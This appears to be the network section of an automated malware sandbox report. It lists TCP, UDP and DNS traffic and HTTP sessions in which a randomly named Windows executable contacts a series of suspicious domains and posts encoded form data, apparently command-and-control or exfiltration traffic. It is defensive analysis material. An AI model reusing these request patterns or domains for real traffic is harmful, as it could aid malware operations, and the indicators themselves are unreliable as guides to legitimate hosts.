Dec 12, 2024 00:21:11.851213932 CET	80	50014	3.125.36.175	192.168.2.5
Dec 12, 2024 00:21:11.851361990 CET	80	50014	3.125.36.175	192.168.2.5
Dec 12, 2024 00:21:11.851422071 CET	50014	80	192.168.2.5	3.125.36.175
Dec 12, 2024 00:21:11.851823092 CET	50014	80	192.168.2.5	3.125.36.175
Dec 12, 2024 00:21:11.988296986 CET	50014	80	192.168.2.5	3.125.36.175
Dec 12, 2024 00:21:13.007074118 CET	50015	80	192.168.2.5	3.125.36.175
Dec 12, 2024 00:21:13.126652002 CET	80	50015	3.125.36.175	192.168.2.5
Dec 12, 2024 00:21:13.126856089 CET	50015	80	192.168.2.5	3.125.36.175
Dec 12, 2024 00:21:13.138943911 CET	50015	80	192.168.2.5	3.125.36.175
Dec 12, 2024 00:21:13.258429050 CET	80	50015	3.125.36.175	192.168.2.5
Dec 12, 2024 00:21:13.258483887 CET	80	50015	3.125.36.175	192.168.2.5
Dec 12, 2024 00:21:14.495083094 CET	80	50015	3.125.36.175	192.168.2.5
Dec 12, 2024 00:21:14.495151043 CET	50015	80	192.168.2.5	3.125.36.175
Dec 12, 2024 00:21:14.643383980 CET	50015	80	192.168.2.5	3.125.36.175
Dec 12, 2024 00:21:14.762726068 CET	80	50015	3.125.36.175	192.168.2.5
Dec 12, 2024 00:21:15.662360907 CET	50016	80	192.168.2.5	3.125.36.175
Dec 12, 2024 00:21:15.781971931 CET	80	50016	3.125.36.175	192.168.2.5
Dec 12, 2024 00:21:15.782074928 CET	50016	80	192.168.2.5	3.125.36.175
Dec 12, 2024 00:21:15.791404009 CET	50016	80	192.168.2.5	3.125.36.175
Dec 12, 2024 00:21:15.912586927 CET	80	50016	3.125.36.175	192.168.2.5
Dec 12, 2024 00:21:17.158143044 CET	80	50016	3.125.36.175	192.168.2.5
Dec 12, 2024 00:21:17.158221006 CET	80	50016	3.125.36.175	192.168.2.5
Dec 12, 2024 00:21:17.158231020 CET	80	50016	3.125.36.175	192.168.2.5
Dec 12, 2024 00:21:17.158384085 CET	80	50016	3.125.36.175	192.168.2.5
Dec 12, 2024 00:21:17.158405066 CET	50016	80	192.168.2.5	3.125.36.175
Dec 12, 2024 00:21:17.158562899 CET	50016	80	192.168.2.5	3.125.36.175
Dec 12, 2024 00:21:17.162758112 CET	50016	80	192.168.2.5	3.125.36.175
Dec 12, 2024 00:21:17.283638000 CET	80	50016	3.125.36.175	192.168.2.5
Dec 12, 2024 00:21:22.506592989 CET	50017	80	192.168.2.5	172.67.176.240
Dec 12, 2024 00:21:22.625998974 CET	80	50017	172.67.176.240	192.168.2.5
Dec 12, 2024 00:21:22.626084089 CET	50017	80	192.168.2.5	172.67.176.240
Dec 12, 2024 00:21:22.641112089 CET	50017	80	192.168.2.5	172.67.176.240
Dec 12, 2024 00:21:22.760489941 CET	80	50017	172.67.176.240	192.168.2.5
Dec 12, 2024 00:21:24.143527031 CET	50017	80	192.168.2.5	172.67.176.240
Dec 12, 2024 00:21:24.263488054 CET	80	50017	172.67.176.240	192.168.2.5
Dec 12, 2024 00:21:24.263566971 CET	50017	80	192.168.2.5	172.67.176.240
Dec 12, 2024 00:21:25.163871050 CET	50018	80	192.168.2.5	172.67.176.240
Dec 12, 2024 00:21:25.283320904 CET	80	50018	172.67.176.240	192.168.2.5
Dec 12, 2024 00:21:25.285845995 CET	50018	80	192.168.2.5	172.67.176.240
Dec 12, 2024 00:21:25.298693895 CET	50018	80	192.168.2.5	172.67.176.240
Dec 12, 2024 00:21:25.418106079 CET	80	50018	172.67.176.240	192.168.2.5
Dec 12, 2024 00:21:26.799915075 CET	50018	80	192.168.2.5	172.67.176.240
Dec 12, 2024 00:21:26.919802904 CET	80	50018	172.67.176.240	192.168.2.5
Dec 12, 2024 00:21:26.919979095 CET	50018	80	192.168.2.5	172.67.176.240
Dec 12, 2024 00:21:27.817800045 CET	50019	80	192.168.2.5	172.67.176.240
Dec 12, 2024 00:21:27.940200090 CET	80	50019	172.67.176.240	192.168.2.5
Dec 12, 2024 00:21:27.945100069 CET	50019	80	192.168.2.5	172.67.176.240
Dec 12, 2024 00:21:27.953502893 CET	50019	80	192.168.2.5	172.67.176.240
Dec 12, 2024 00:21:28.075232029 CET	80	50019	172.67.176.240	192.168.2.5
Dec 12, 2024 00:21:28.076981068 CET	80	50019	172.67.176.240	192.168.2.5
Dec 12, 2024 00:21:29.458673000 CET	50019	80	192.168.2.5	172.67.176.240
Dec 12, 2024 00:21:29.578603029 CET	80	50019	172.67.176.240	192.168.2.5
Dec 12, 2024 00:21:29.584827900 CET	50019	80	192.168.2.5	172.67.176.240
Dec 12, 2024 00:21:30.475109100 CET	50020	80	192.168.2.5	172.67.176.240
Dec 12, 2024 00:21:30.595726967 CET	80	50020	172.67.176.240	192.168.2.5
Dec 12, 2024 00:21:30.595881939 CET	50020	80	192.168.2.5	172.67.176.240
Dec 12, 2024 00:21:30.642664909 CET	50020	80	192.168.2.5	172.67.176.240
Dec 12, 2024 00:21:30.763724089 CET	80	50020	172.67.176.240	192.168.2.5
Dec 12, 2024 00:22:10.729553938 CET	80	50020	172.67.176.240	192.168.2.5
Dec 12, 2024 00:22:10.729927063 CET	80	50020	172.67.176.240	192.168.2.5
Dec 12, 2024 00:22:10.730052948 CET	50020	80	192.168.2.5	172.67.176.240
Dec 12, 2024 00:22:10.732274055 CET	50020	80	192.168.2.5	172.67.176.240
Dec 12, 2024 00:22:10.853157997 CET	80	50020	172.67.176.240	192.168.2.5

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 12, 2024 00:18:30.029191971 CET	50388	53	192.168.2.5	1.1.1.1
Dec 12, 2024 00:18:30.506660938 CET	53	50388	1.1.1.1	192.168.2.5
Dec 12, 2024 00:18:46.802054882 CET	56551	53	192.168.2.5	1.1.1.1
Dec 12, 2024 00:18:47.311109066 CET	53	56551	1.1.1.1	192.168.2.5
Dec 12, 2024 00:19:01.695694923 CET	57366	53	192.168.2.5	1.1.1.1
Dec 12, 2024 00:19:02.454905987 CET	53	57366	1.1.1.1	192.168.2.5
Dec 12, 2024 00:19:16.758668900 CET	64201	53	192.168.2.5	1.1.1.1
Dec 12, 2024 00:19:17.672605991 CET	53	64201	1.1.1.1	192.168.2.5
Dec 12, 2024 00:19:32.366599083 CET	62445	53	192.168.2.5	1.1.1.1
Dec 12, 2024 00:19:33.134543896 CET	53	62445	1.1.1.1	192.168.2.5
Dec 12, 2024 00:19:47.803029060 CET	65025	53	192.168.2.5	1.1.1.1
Dec 12, 2024 00:19:48.759537935 CET	53	65025	1.1.1.1	192.168.2.5
Dec 12, 2024 00:20:03.084351063 CET	50171	53	192.168.2.5	1.1.1.1
Dec 12, 2024 00:20:03.625883102 CET	53	50171	1.1.1.1	192.168.2.5
Dec 12, 2024 00:20:18.006520033 CET	58167	53	192.168.2.5	1.1.1.1
Dec 12, 2024 00:20:19.005263090 CET	58167	53	192.168.2.5	1.1.1.1
Dec 12, 2024 00:20:19.359355927 CET	53	58167	1.1.1.1	192.168.2.5
Dec 12, 2024 00:20:19.359369040 CET	53	58167	1.1.1.1	192.168.2.5
Dec 12, 2024 00:20:34.053006887 CET	54168	53	192.168.2.5	1.1.1.1
Dec 12, 2024 00:20:34.920676947 CET	53	54168	1.1.1.1	192.168.2.5
Dec 12, 2024 00:20:49.586735010 CET	56041	53	192.168.2.5	1.1.1.1
Dec 12, 2024 00:20:50.596684933 CET	56041	53	192.168.2.5	1.1.1.1
Dec 12, 2024 00:20:51.597526073 CET	56041	53	192.168.2.5	1.1.1.1
Dec 12, 2024 00:20:52.748687029 CET	53	56041	1.1.1.1	192.168.2.5
Dec 12, 2024 00:20:52.748728991 CET	53	56041	1.1.1.1	192.168.2.5
Dec 12, 2024 00:20:52.748756886 CET	53	56041	1.1.1.1	192.168.2.5
Dec 12, 2024 00:21:07.194655895 CET	57260	53	192.168.2.5	1.1.1.1
Dec 12, 2024 00:21:07.671880007 CET	53	57260	1.1.1.1	192.168.2.5
Dec 12, 2024 00:21:22.178101063 CET	54853	53	192.168.2.5	1.1.1.1
Dec 12, 2024 00:21:22.504045963 CET	53	54853	1.1.1.1	192.168.2.5
Dec 12, 2024 00:22:15.754379034 CET	56774	53	192.168.2.5	1.1.1.1
Dec 12, 2024 00:22:16.752842903 CET	56774	53	192.168.2.5	1.1.1.1
Dec 12, 2024 00:22:16.824521065 CET	53	56774	1.1.1.1	192.168.2.5
Dec 12, 2024 00:22:16.892524958 CET	53	56774	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 12, 2024 00:18:30.029191971 CET	192.168.2.5	1.1.1.1	0x44ba	Standard query (0)	www.emirates-visa.net	A (IP address)	IN (0x0001)	false
Dec 12, 2024 00:18:46.802054882 CET	192.168.2.5	1.1.1.1	0x5856	Standard query (0)	www.070001813.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 00:19:01.695694923 CET	192.168.2.5	1.1.1.1	0x7b00	Standard query (0)	www.activateya.life	A (IP address)	IN (0x0001)	false
Dec 12, 2024 00:19:16.758668900 CET	192.168.2.5	1.1.1.1	0xaadc	Standard query (0)	www.walkecode.top	A (IP address)	IN (0x0001)	false
Dec 12, 2024 00:19:32.366599083 CET	192.168.2.5	1.1.1.1	0x6f6f	Standard query (0)	www.ciemanr.quest	A (IP address)	IN (0x0001)	false
Dec 12, 2024 00:19:47.803029060 CET	192.168.2.5	1.1.1.1	0x6b8b	Standard query (0)	www.growbamboo.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 00:20:03.084351063 CET	192.168.2.5	1.1.1.1	0xe0e	Standard query (0)	www.primespot.live	A (IP address)	IN (0x0001)	false
Dec 12, 2024 00:20:18.006520033 CET	192.168.2.5	1.1.1.1	0x3acc	Standard query (0)	www.hisako.shop	A (IP address)	IN (0x0001)	false
Dec 12, 2024 00:20:19.005263090 CET	192.168.2.5	1.1.1.1	0x3acc	Standard query (0)	www.hisako.shop	A (IP address)	IN (0x0001)	false
Dec 12, 2024 00:20:34.053006887 CET	192.168.2.5	1.1.1.1	0x1858	Standard query (0)	www.rwse6wjx.sbs	A (IP address)	IN (0x0001)	false
Dec 12, 2024 00:20:49.586735010 CET	192.168.2.5	1.1.1.1	0x6acd	Standard query (0)	www.17jkgl.com	A (IP address)	IN (0x0001)	false
Dec 12, 2024 00:20:50.596684933 CET	192.168.2.5	1.1.1.1	0x6acd	Standard query (0)	www.17jkgl.com	A (IP address)	IN (0x0001)	false
Dec 12, 2024 00:20:51.597526073 CET	192.168.2.5	1.1.1.1	0x6acd	Standard query (0)	www.17jkgl.com	A (IP address)	IN (0x0001)	false
Dec 12, 2024 00:21:07.194655895 CET	192.168.2.5	1.1.1.1	0x4b62	Standard query (0)	www.thezensive.work	A (IP address)	IN (0x0001)	false
Dec 12, 2024 00:21:22.178101063 CET	192.168.2.5	1.1.1.1	0x6416	Standard query (0)	www.zrichiod-riech.sbs	A (IP address)	IN (0x0001)	false
Dec 12, 2024 00:22:15.754379034 CET	192.168.2.5	1.1.1.1	0x4965	Standard query (0)	www.wtsshnm.top	A (IP address)	IN (0x0001)	false
Dec 12, 2024 00:22:16.752842903 CET	192.168.2.5	1.1.1.1	0x4965	Standard query (0)	www.wtsshnm.top	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 12, 2024 00:18:30.506660938 CET	1.1.1.1	192.168.2.5	0x44ba	No error (0)	www.emirates-visa.net	emirates-visa.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 12, 2024 00:18:30.506660938 CET	1.1.1.1	192.168.2.5	0x44ba	No error (0)	emirates-visa.net		3.33.130.190	A (IP address)	IN (0x0001)	false
Dec 12, 2024 00:18:30.506660938 CET	1.1.1.1	192.168.2.5	0x44ba	No error (0)	emirates-visa.net		15.197.148.33	A (IP address)	IN (0x0001)	false
Dec 12, 2024 00:18:47.311109066 CET	1.1.1.1	192.168.2.5	0x5856	No error (0)	www.070001813.xyz		161.97.142.144	A (IP address)	IN (0x0001)	false
Dec 12, 2024 00:19:02.454905987 CET	1.1.1.1	192.168.2.5	0x7b00	No error (0)	www.activateya.life	activateya.life		CNAME (Canonical name)	IN (0x0001)	false
Dec 12, 2024 00:19:02.454905987 CET	1.1.1.1	192.168.2.5	0x7b00	No error (0)	activateya.life		84.32.84.32	A (IP address)	IN (0x0001)	false
Dec 12, 2024 00:19:17.672605991 CET	1.1.1.1	192.168.2.5	0xaadc	No error (0)	www.walkecode.top		124.71.162.21	A (IP address)	IN (0x0001)	false
Dec 12, 2024 00:19:33.134543896 CET	1.1.1.1	192.168.2.5	0x6f6f	No error (0)	www.ciemanr.quest	2.ciemanr.quest		CNAME (Canonical name)	IN (0x0001)	false
Dec 12, 2024 00:19:33.134543896 CET	1.1.1.1	192.168.2.5	0x6f6f	No error (0)	2.ciemanr.quest	a2-1.ciemanr.quest		CNAME (Canonical name)	IN (0x0001)	false
Dec 12, 2024 00:19:33.134543896 CET	1.1.1.1	192.168.2.5	0x6f6f	No error (0)	a2-1.ciemanr.quest	a2rukou.jingdong.skin		CNAME (Canonical name)	IN (0x0001)	false
Dec 12, 2024 00:19:33.134543896 CET	1.1.1.1	192.168.2.5	0x6f6f	No error (0)	a2rukou.jingdong.skin	rk.jingdong.skin		CNAME (Canonical name)	IN (0x0001)	false
Dec 12, 2024 00:19:33.134543896 CET	1.1.1.1	192.168.2.5	0x6f6f	No error (0)	rk.jingdong.skin		150.109.11.247	A (IP address)	IN (0x0001)	false
Dec 12, 2024 00:19:48.759537935 CET	1.1.1.1	192.168.2.5	0x6b8b	No error (0)	www.growbamboo.xyz	banajibazar.xyz		CNAME (Canonical name)	IN (0x0001)	false
Dec 12, 2024 00:19:48.759537935 CET	1.1.1.1	192.168.2.5	0x6b8b	No error (0)	banajibazar.xyz		173.208.249.155	A (IP address)	IN (0x0001)	false
Dec 12, 2024 00:20:03.625883102 CET	1.1.1.1	192.168.2.5	0xe0e	No error (0)	www.primespot.live		209.74.79.42	A (IP address)	IN (0x0001)	false
Dec 12, 2024 00:20:19.359355927 CET	1.1.1.1	192.168.2.5	0x3acc	No error (0)	www.hisako.shop	dns.ladipage.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 12, 2024 00:20:19.359355927 CET	1.1.1.1	192.168.2.5	0x3acc	No error (0)	dns.ladipage.com		18.139.62.226	A (IP address)	IN (0x0001)	false
Dec 12, 2024 00:20:19.359355927 CET	1.1.1.1	192.168.2.5	0x3acc	No error (0)	dns.ladipage.com		13.228.81.39	A (IP address)	IN (0x0001)	false
Dec 12, 2024 00:20:19.359355927 CET	1.1.1.1	192.168.2.5	0x3acc	No error (0)	dns.ladipage.com		54.179.173.60	A (IP address)	IN (0x0001)	false
Dec 12, 2024 00:20:19.359369040 CET	1.1.1.1	192.168.2.5	0x3acc	No error (0)	www.hisako.shop	dns.ladipage.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 12, 2024 00:20:19.359369040 CET	1.1.1.1	192.168.2.5	0x3acc	No error (0)	dns.ladipage.com		18.139.62.226	A (IP address)	IN (0x0001)	false
Dec 12, 2024 00:20:19.359369040 CET	1.1.1.1	192.168.2.5	0x3acc	No error (0)	dns.ladipage.com		13.228.81.39	A (IP address)	IN (0x0001)	false
Dec 12, 2024 00:20:19.359369040 CET	1.1.1.1	192.168.2.5	0x3acc	No error (0)	dns.ladipage.com		54.179.173.60	A (IP address)	IN (0x0001)	false
Dec 12, 2024 00:20:34.920676947 CET	1.1.1.1	192.168.2.5	0x1858	No error (0)	www.rwse6wjx.sbs	b1-3-r11-gmhudx.t9d2quy5.shop		CNAME (Canonical name)	IN (0x0001)	false
Dec 12, 2024 00:20:34.920676947 CET	1.1.1.1	192.168.2.5	0x1858	No error (0)	b1-3-r11-gmhudx.t9d2quy5.shop	b1-3-r11.t9d2quy5.shop		CNAME (Canonical name)	IN (0x0001)	false
Dec 12, 2024 00:20:34.920676947 CET	1.1.1.1	192.168.2.5	0x1858	No error (0)	b1-3-r11.t9d2quy5.shop	b1-3-r111-s65psj.8uqm5xgy.shop		CNAME (Canonical name)	IN (0x0001)	false
Dec 12, 2024 00:20:34.920676947 CET	1.1.1.1	192.168.2.5	0x1858	No error (0)	b1-3-r111-s65psj.8uqm5xgy.shop	b1-3-r11-nff52.alicloudddos.top		CNAME (Canonical name)	IN (0x0001)	false
Dec 12, 2024 00:20:34.920676947 CET	1.1.1.1	192.168.2.5	0x1858	No error (0)	b1-3-r11-nff52.alicloudddos.top	b1-3-r111-s65psj.alicloudddos.top		CNAME (Canonical name)	IN (0x0001)	false
Dec 12, 2024 00:20:34.920676947 CET	1.1.1.1	192.168.2.5	0x1858	No error (0)	b1-3-r111-s65psj.alicloudddos.top	b1-3-r111-55g56.kunlundns.top		CNAME (Canonical name)	IN (0x0001)	false
Dec 12, 2024 00:20:34.920676947 CET	1.1.1.1	192.168.2.5	0x1858	No error (0)	b1-3-r111-55g56.kunlundns.top	b1-3-r111.kunlundns.top		CNAME (Canonical name)	IN (0x0001)	false
Dec 12, 2024 00:20:34.920676947 CET	1.1.1.1	192.168.2.5	0x1858	No error (0)	b1-3-r111.kunlundns.top		101.32.205.61	A (IP address)	IN (0x0001)	false
Dec 12, 2024 00:20:52.748687029 CET	1.1.1.1	192.168.2.5	0x6acd	No error (0)	www.17jkgl.com		38.6.78.235	A (IP address)	IN (0x0001)	false
Dec 12, 2024 00:20:52.748728991 CET	1.1.1.1	192.168.2.5	0x6acd	No error (0)	www.17jkgl.com		38.6.78.235	A (IP address)	IN (0x0001)	false
Dec 12, 2024 00:20:52.748756886 CET	1.1.1.1	192.168.2.5	0x6acd	No error (0)	www.17jkgl.com		38.6.78.235	A (IP address)	IN (0x0001)	false
Dec 12, 2024 00:21:07.671880007 CET	1.1.1.1	192.168.2.5	0x4b62	No error (0)	www.thezensive.work	thezensive.netlify.app		CNAME (Canonical name)	IN (0x0001)	false
Dec 12, 2024 00:21:07.671880007 CET	1.1.1.1	192.168.2.5	0x4b62	No error (0)	thezensive.netlify.app		3.125.36.175	A (IP address)	IN (0x0001)	false
Dec 12, 2024 00:21:07.671880007 CET	1.1.1.1	192.168.2.5	0x4b62	No error (0)	thezensive.netlify.app		3.75.10.80	A (IP address)	IN (0x0001)	false
Dec 12, 2024 00:21:22.504045963 CET	1.1.1.1	192.168.2.5	0x6416	No error (0)	www.zrichiod-riech.sbs		172.67.176.240	A (IP address)	IN (0x0001)	false
Dec 12, 2024 00:21:22.504045963 CET	1.1.1.1	192.168.2.5	0x6416	No error (0)	www.zrichiod-riech.sbs		104.21.56.41	A (IP address)	IN (0x0001)	false
Dec 12, 2024 00:22:16.824521065 CET	1.1.1.1	192.168.2.5	0x4965	No error (0)	www.wtsshnm.top		45.41.80.144	A (IP address)	IN (0x0001)	false
Dec 12, 2024 00:22:16.892524958 CET	1.1.1.1	192.168.2.5	0x4965	No error (0)	www.wtsshnm.top		45.41.80.144	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

www.emirates-visa.net

www.070001813.xyz

www.activateya.life

www.walkecode.top

www.ciemanr.quest

www.growbamboo.xyz

www.primespot.live

www.hisako.shop

www.rwse6wjx.sbs

www.17jkgl.com

www.thezensive.work

www.zrichiod-riech.sbs

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49740	3.33.130.190	80	5884	C:\Program Files (x86)\deHCFxEMnnsbRAehKEUTseKmWUMFTDDxOkYBHisCnKIRLAVVRVZggXKOY\pNkvbgLNQpIoyz.exe

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 00:18:30.643790960 CET	508	OUT	GET /5cm4/?NdLhG=cLCtFnqPUvutTbuP&LDVlCz=ZOi5UH6lCHBhnBF9yu7lTl97V2po4KHEvqmaFY3uiUnnM3Kevyv9Tk9tf7brSgBHOaIF9h93DunAghZY9lTBZL9WpirrmBEOY4nZmUaXlywW6LOtEGR1afh1jX/LxafgQA== HTTP/1.1 Host: www.emirates-visa.net Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.118 UBrowser/5.2.1369.1414 Safari/537.36
Dec 12, 2024 00:18:31.733844995 CET	398	IN	HTTP/1.1 200 OK content-type: text/html date: Wed, 11 Dec 2024 23:18:31 GMT content-length: 277 connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 4e 64 4c 68 47 3d 63 4c 43 74 46 6e 71 50 55 76 75 74 54 62 75 50 26 4c 44 56 6c 43 7a 3d 5a 4f 69 35 55 48 36 6c 43 48 42 68 6e 42 46 39 79 75 37 6c 54 6c 39 37 56 32 70 6f 34 4b 48 45 76 71 6d 61 46 59 33 75 69 55 6e 6e 4d 33 4b 65 76 79 76 39 54 6b 39 74 66 37 62 72 53 67 42 48 4f 61 49 46 39 68 39 33 44 75 6e 41 67 68 5a 59 39 6c 54 42 5a 4c 39 57 70 69 72 72 6d 42 45 4f 59 34 6e 5a 6d 55 61 58 6c 79 77 57 36 4c 4f 74 45 47 52 31 61 66 68 31 6a 58 2f 4c 78 61 66 67 51 41 3d 3d 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?NdLhG=cLCtFnqPUvutTbuP&LDVlCz=ZOi5UH6lCHBhnBF9yu7lTl97V2po4KHEvqmaFY3uiUnnM3Kevyv9Tk9tf7brSgBHOaIF9h93DunAghZY9lTBZL9WpirrmBEOY4nZmUaXlywW6LOtEGR1afh1jX/LxafgQA=="}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49776	161.97.142.144	80	5884	C:\Program Files (x86)\deHCFxEMnnsbRAehKEUTseKmWUMFTDDxOkYBHisCnKIRLAVVRVZggXKOY\pNkvbgLNQpIoyz.exe

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 00:18:47.449197054 CET	755	OUT	POST /gn0y/ HTTP/1.1 Host: www.070001813.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.070001813.xyz Referer: http://www.070001813.xyz/gn0y/ Content-Length: 207 Connection: close Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.118 UBrowser/5.2.1369.1414 Safari/537.36 Data Raw: 4c 44 56 6c 43 7a 3d 51 63 75 62 53 55 61 30 76 6a 7a 6f 4d 2f 72 42 32 2b 6a 31 77 62 58 4d 61 34 32 4d 2f 6a 51 6e 32 61 6d 72 62 49 74 43 62 4e 71 67 39 4f 70 53 66 59 4b 71 50 46 59 46 31 43 2b 77 47 6d 69 6f 4d 30 6f 46 55 38 66 63 6f 7a 56 39 30 5a 58 6c 51 48 64 6e 77 2f 56 62 41 36 46 6c 72 42 77 46 68 41 44 64 66 34 34 56 55 43 42 42 68 31 69 33 35 76 70 31 45 35 47 59 35 49 74 4b 4e 6c 46 77 30 74 6a 36 49 75 39 77 44 55 62 6f 6a 54 72 4e 6e 38 62 51 6b 43 58 36 59 4e 73 70 49 65 4c 61 41 45 58 67 61 54 6a 64 4e 55 7a 75 50 50 51 54 43 4f 4d 68 64 78 75 77 48 44 68 52 42 54 48 57 37 4e 36 65 35 55 63 3d Data Ascii: LDVlCz=QcubSUa0vjzoM/rB2+j1wbXMa42M/jQn2amrbItCbNqg9OpSfYKqPFYF1C+wGmioM0oFU8fcozV90ZXlQHdnw/VbA6FlrBwFhADdf44VUCBBh1i35vp1E5GY5ItKNlFw0tj6Iu9wDUbojTrNn8bQkCX6YNspIeLaAEXgaTjdNUzuPPQTCOMhdxuwHDhRBTHW7N6e5Uc=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49782	161.97.142.144	80	5884	C:\Program Files (x86)\deHCFxEMnnsbRAehKEUTseKmWUMFTDDxOkYBHisCnKIRLAVVRVZggXKOY\pNkvbgLNQpIoyz.exe

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 00:18:50.110093117 CET	775	OUT	POST /gn0y/ HTTP/1.1 Host: www.070001813.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.070001813.xyz Referer: http://www.070001813.xyz/gn0y/ Content-Length: 227 Connection: close Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.118 UBrowser/5.2.1369.1414 Safari/537.36 Data Raw: 4c 44 56 6c 43 7a 3d 51 63 75 62 53 55 61 30 76 6a 7a 6f 4e 66 37 42 77 5a 2f 31 68 37 58 50 44 59 32 4d 78 44 51 64 32 61 36 72 62 4a 35 6f 62 37 36 67 39 76 5a 53 65 64 71 71 42 6c 59 46 2f 69 2b 78 5a 32 69 7a 4d 30 31 79 55 2b 4c 63 6f 7a 52 39 30 64 54 6c 51 77 4a 6f 2f 50 56 56 47 36 46 6e 6c 68 77 46 68 41 44 64 66 34 39 77 55 43 5a 42 6d 46 53 33 34 4f 70 32 4f 5a 47 62 2b 49 74 4b 47 46 46 73 30 74 6a 59 49 71 39 65 44 58 6a 6f 6a 52 7a 4e 6d 70 6e 52 78 53 57 78 47 39 73 38 4a 72 6d 32 41 43 58 63 41 77 4f 39 5a 31 76 48 48 5a 68 35 59 73 45 4a 4f 52 43 49 58 51 70 6d 51 6a 6d 2f 68 75 71 75 6e 44 4b 59 4f 47 4b 48 44 6a 6a 54 6f 42 54 52 66 6b 4e 79 48 30 4f 44 Data Ascii: LDVlCz=QcubSUa0vjzoNf7BwZ/1h7XPDY2MxDQd2a6rbJ5ob76g9vZSedqqBlYF/i+xZ2izM01yU+LcozR90dTlQwJo/PVVG6FnlhwFhADdf49wUCZBmFS34Op2OZGb+ItKGFFs0tjYIq9eDXjojRzNmpnRxSWxG9s8Jrm2ACXcAwO9Z1vHHZh5YsEJORCIXQpmQjm/huqunDKYOGKHDjjToBTRfkNyH0OD

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49789	161.97.142.144	80	5884	C:\Program Files (x86)\deHCFxEMnnsbRAehKEUTseKmWUMFTDDxOkYBHisCnKIRLAVVRVZggXKOY\pNkvbgLNQpIoyz.exe

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 00:18:52.778666973 CET	1792	OUT	POST /gn0y/ HTTP/1.1 Host: www.070001813.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.070001813.xyz Referer: http://www.070001813.xyz/gn0y/ Content-Length: 1243 Connection: close Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.118 UBrowser/5.2.1369.1414 Safari/537.36 Data Raw: 4c 44 56 6c 43 7a 3d 51 63 75 62 53 55 61 30 76 6a 7a 6f 4e 66 37 42 77 5a 2f 31 68 37 58 50 44 59 32 4d 78 44 51 64 32 61 36 72 62 4a 35 6f 62 37 79 67 39 39 52 53 63 38 71 71 43 6c 59 46 7a 43 2b 4b 5a 32 6a 72 4d 30 39 32 55 2b 33 4d 6f 78 5a 39 32 34 48 6c 41 46 6c 6f 6f 66 56 56 4c 61 46 6d 72 42 77 51 68 41 54 5a 66 34 74 77 55 43 5a 42 6d 48 4b 33 2f 66 70 32 64 4a 47 59 35 49 74 47 4e 6c 46 51 30 74 37 69 49 71 77 72 44 47 44 6f 6a 78 6a 4e 71 37 50 52 77 79 57 7a 48 39 74 35 4a 72 69 70 41 43 6a 48 41 77 4b 62 5a 79 44 48 45 50 63 77 64 59 42 56 58 68 75 38 54 69 39 78 46 58 57 6e 6c 65 75 5a 6c 51 65 51 4b 6b 61 74 49 48 6a 6c 69 78 61 62 64 6a 4e 63 4d 68 44 74 49 33 54 35 50 6a 79 42 70 44 2f 5a 53 67 34 6d 4e 65 73 44 63 44 35 4c 33 61 6e 4b 2b 36 46 31 79 47 6c 70 48 42 77 39 6b 6e 71 41 54 2b 6b 39 4d 52 56 47 52 34 69 64 51 50 78 7a 4e 56 6c 49 46 33 51 69 2b 79 74 6d 4c 58 78 73 47 4c 55 6d 4d 34 75 46 45 64 42 54 5a 53 6d 4c 54 66 58 57 34 44 51 68 6c 6f 76 44 72 4d 70 73 4b 72 48 [TRUNCATED] Data Ascii: 